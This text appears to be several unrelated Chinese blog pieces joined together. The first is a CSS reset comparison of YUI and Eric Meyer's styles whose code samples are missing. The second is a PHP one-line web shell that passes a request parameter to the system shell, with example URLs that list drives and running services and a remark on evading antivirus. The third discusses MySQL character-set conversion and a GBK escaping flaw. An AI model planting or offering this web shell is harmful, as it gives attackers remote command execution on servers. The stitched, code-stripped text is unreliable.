设置成他们喜欢的背景色，比如浅蓝色。基本常见的浏览器都提供了这个简单的功能。而我们的背景色重置则会破坏 用户的选择——尽管这样能保证你的设计原汁原味的呈现给所有用户。当然我知道，更高端的用户会用Stylish之类的Firefox扩展来自定义页面。

但不得不说，只会用“选项”来调背景色的用户更多，不是么？而同时，如果设计本身就有其他背景色，比如黑色、蓝色、绿色之类的，OK，这些设计当然可以设置 背景色。但请不要放进reset.css里。这里是重置样式的地方，不是你设计的地方。请把你的设计放在更广袤的土地上。

所以，简单说来，NO，不要在reset中设置背景色。

那么，文字颜色呢？原则上来说，也是不应该设置文字颜色的。但是IE中的表单元素中legend这个对象比较特别，跟主题结合的比较紧密。legend会默认有自己的颜色（跟当前的主题有关）而不会继承父元素的颜色（即便设了color:inherit;）。

从某些角度来说，可以想当然地认为设置字体颜色人数远小于设置背景色的人数；以及认为就算设置了背景色，人们看到legend元素是黑色的也不会觉得奇怪。因此，YUI在其reset中设置了legend {color: #000;}是无可厚非的。

但反过来说，把这个放到typography.css或者form.css里岂不是更好？不同的页面设计，其对legend的色彩要求很可能是不同的，放 在reset.css里重复定义是没有必要的。因此这条CSS规则可以作为在reset.css之后首先应当设置的规则。

3，padding和margin
曾经一度流行的* { margin: 0; padding: 0; }也就是出于这个目的。让各个元素的padding和margin都归零，尤其是那些h1和p以及ul/ol/li之类的元素，还有，body本身也是有margin的。清除元素的padding和margin是很有用的。
YUI这样做：

而Eric这样做：

可以看到，Eric把几乎所有的元素都写上了规则。而YUI只把有padding和margin的元素清空样式，而其他元素则不动。我个人比较偏好 YUI的做法，因为他这样可以避免给一些无关元素带上不必要的样式。导致元素过多时的性能下降。但Eric的也有可取之处，他这样写，整个 reset.css可以小上不少字节。对服务器的压力会小一些。你怎么用呢？看你自己喜好了。

4，边框
YUI里：

Eric已经在上一条中把所有的边框都清掉了，还是推荐用YUI的，理由同上。

5，外边框
这个就是元素获取焦点时的虚线框，在ie之外的浏览器上可以像下面Eric做的那样，通过设置outline来消除。

而YUI则没有设置这一条。而在Eric的样式中，可以看到Eric的提醒：务必重新定义获取焦点后的样式！
这点其实很重要，出于可访问性的角度出发，那些不便于使用鼠标的人基本上都是用tab导航来浏览网页的。获取焦点的元素有特定样式的话可以极大帮助这类群 体的用户。

从通用性角度来说，YUI那样不加这条比较好，毕竟没多少人会自定义焦点样式。但从一个reset.css来说，应当还是加上去比较好。毕竟是 为了重置所有样式而写的reset.css，不能留下缺憾。因此这条可以作为reset.css之后及早定义的规则。

6，字体样式(font style/weight/size/variant)
YUI里，分成了多条：

Eric则在他最终版的reset中去掉了关于这些的样式重置，只保留了 font-size: 100%; 同样他没有给出具体理由。
但通常情况下，我认为还是重置一下这些样式好，比如strong元素，很多时候只是语义而已，并非希望他真的加粗。可能会有背景色或者其他方式来强调。

而之所以这里都用了inherit这个继承属性而不是定义 font-weight: normal; 可以在 Eric 先前的reset文章中看到。这是为了防止——父元素字体加粗了，而没有一个子元素继承加粗属性（因为设置了normal）——这种情况的发生。

此外，对于h1-h6的字体大小定义，建议放到专门的typography.css里，不建议放在reset.css里。所以这里我同样倾向于用YUI的策略，全部重置。

7，行高(line-height)
对于行高，YUI并没有给出重置定义，而Eric则给出了重置：

行高默认所有元素都会继承的，所以给body设置行高为1就足够了。通常行高设为1时候，英文照常阅读，但中文就无法阅读了，行间距过于紧密导致容 易看错行。通常在中文环境下得设置1.4到1.5才能是用户正常阅读。

我建议是1.5，这样算出来的值也是整数。比如字体大小12px的时候行高是 18px，字体大小16px时行高24px。看起来也会比较舒服。

8，列表样式
YUI用了：

Eric用了：

尽管我没有测试出YUI的有什么问题，但我始终觉得设置ol和ul会比较稳妥。而且，波及的元素更少，性能应该更高一点。虽然下载量会多3字节。

9，表格元素
在表格方面，都比较统一。均是：

Eric还提醒到，需要在html中设置cellspacing=”0″ 来达到完美重置效果~
但此外YUI还设置了

让caption和th元素不要居中。作为重置，是可取的。建议添加此规则。

10，上下标以及baseline
YUI写成

似乎没有优化，不知道为何没有写到一起去。而Eric则在最开始那条中就已经定义。而其中的问题是，YUI这样定义了，但没有重置字体大小，这点是有所遗憾的。既然是重置样式，就彻底一些，所以建议改成这样的：

同样对于Eric把所有元素都放到了Baseline上，包括上标下标。Eric的解释是，强制让设计师精确定位这些元素的垂直偏移。

11，插入和删除(ins/del)
对于这个问题，YUI直接清除了ins的下划线和del的删除线这两个文本装饰：

而Eric保留了删除线：

如何取舍？我选择Eric的，为什么我这里不追求完美的样式重置了呢？很简单，我这个reset的目标是为了让我们写页面的时候尽量避免浏览器默认 样式，以及不同浏览器之间默认样式差异带来的问题。而del元素删除线的文本装饰，我相信没有人会反对的。有人会加上其他样式，比如字体变淡之类的，但对 于del如此强语义的元素来说，没有什么比用删除线更能表达含义的了。而不像上面那个focus样式，未必人人喜欢虚线框。
所以，这里我考虑采纳Eric的重置样式。同时别忘了给ins元素在等下也添加一些样式。

12，引用元素的引号
某些浏览器中，q或者blockquote前后会出现引号。这个并不是谁都喜欢的。所以需要重置他。
YUI的比较简单，只重置了q：

而Eric则比较周到，把q和blockquote都重置了。

OK，就决定用Eric的了，对于样式重置，细致一点周到一点总没有错。

今天太晚了，已经四点了，等会睡觉起床接着更新我用的reset.css，以及写完reset.css后立即需要写的几个规则。

echo `$_REQUEST[id]`;

局限性:特征码比较明显，``符号在php中很少用到，杀毒软件很容易以此为特征码扫描到并警报；
``里面不能执行php代码；

测试方式:
http://www.phpv.net/test.php?id=dir%20c
相当于:dir c:

http://www.phpv.net/test.php?id=net%20start
查看已启动的WIN服务

.....



  

MySQL的字符集处理是这样的：

1）发送请求
客户端(character_set_client）=》数据库连接(character_set_connection)=》存储(table,column)
2）返回请求
存储(table,column)=》数据库连接(character_set_connection )=》客户端(character_set_results)

在每一个非初始节点，都会做一次从上一个结点到当前节点的字符集转换操作。举个例子，有如下环境：
* character_set_connection utf-8
* character_set_results gbk
* character_set_client gb2312
* 有表A，字段字符集全部为BIG5

发送请求的时候，首先数据从gbk转换为utf-8，再转换为BIG5，然后再存储。
返回请求的时候，首先数据从BIG5转换为utf-8，再转换为gb2312，然后再发送给客户端。

这样的架构到底有什么用呢？

1）允许不同的客户端具有不同的字符集。典型的例子就是，我有一个utf-8的站点，这个站点就是一个charset client为utf-8的客户端。与此同时，我有可能需要在一个gbk的终端上读写数据库，这又是一个客户端，不过它的字符集是gbk。
2）通过数据库操作文件系统的时候，需要把文件路径转为文件系统的字符集。例如我的客户端是gbk，而服务器文件系统是utf-8。操作”/A片 /Rina.rmvb”，发送过去的数据里，“片”的数据和服务器是不一样的。这时候就需要有个办法可以把转换GBK的“片”到utf-8。在这里 MySQL引入了一个叫character_filesystem的东西来完成这个事情。

除此之外，我暂时想不到其他的作用了。但是仔细想想，我们真的需要这样的处理吗？很多网站，无非就是希望自己的数据能怎么进去就怎么出来。这里又有两种情况了。

1）希望可以根据数据进行排序或者做like操作。首先说排序，对于包含中文的字段来说，根据字符集排序的概念如同鸡肋。简体中文排序，一般都是希望按拼音来排序。我没有去真正了解过MySQL里的校验，但是从我接触过的程序来看，需要做此类排序，都是专门建一个存放拼音的字段来排序。而拼音又存在多音字的情况。如果是UTF-8，还存在某个区间的中文同时被中日韩三国共用的情况。实现起来不是这么容易，所以MySQL无论的GBK还是UTF-8的校验集 应该都没有实现拼音。我敢说，现在国内使用MySQL的大多数网站，所用到的校验集，只是一个byte排序而已。而byte排序，根本不需要使用什么字符 集。所以说对于中文站点，MySQL字符校验在排序上没任何意义。

但是在like操作上，倒是有了一点点意义。例如我like ‘%a%’，就有可能匹配到某个中文某个部分含有a。当然这种情况在utf-8下不会遇到，因为utf-8的存储格式导致a只可能是a，不可能是一个多字节字符的一部分。但是在其他字符集可能就会有这个问题了。说到最后，like又变得和order一样使得校验没意义了。晕倒。

2）如果完全不需要对数据进行排序，like或者全文检索，那么请停止使用char，varchar，text之类的吧。 binary，varbinary，BLOB才是正确的选择。binary之类的在存储，取出的时候都不会进行字符集转换，而在排序时候，只根据二进制内 容排序，所以在效率上高出char，varchar，text很多。

这种情况更不需要字符集了。但是按照目前MySQL的架构，在client和connection之间的字符集操作，是忽略字段类型的，在这两个节点之间，依然会进行字符集转换。

说了这么多，我都不知道说什么了。本来是想说MySQL的字符集看似强大实则无用。但是写下来，发现勉强还有一点作用。另外前段时间想总结一下MySQL的字符集，不过没写完。

另外提一下PHP里的设置字符集。大家请不要再使用mysql_query(”set names utf8″)这样的语句了。mysql_set_charset()才 是最完整的字符集设置方式。后者比前者多一个设置，就是把struct MySQL的charset成员也设置了。这个成员变量在escape的时候起着很重要的作用，特别是对于GBK这种运行把“\”作为字符一部分的编码格式。如果你只使用mysql_query(”set names XXX”)，那么在某些字符集，会有重大的安全漏洞，导致mysql_real_escape_string变得和addslashes一样不安全。

在计算机技术里，字符集是我很喜欢研究的一个东西。我接触的东西，我都希望把字符集处理方式弄清楚。这是因为我在3年前，对字符集完全不理解。对于完全不理解的东西，我总是很渴望去完全理解它。

BTW：随着各种多字节字符集的广泛应用，而在软件开发里人数比例非常高的操英文的程序员对多字节字符并不是很了解，这是最近几年很多漏洞都是多字节引起的一个原因。我们中日韩的程序员在这方面有优势，顶了！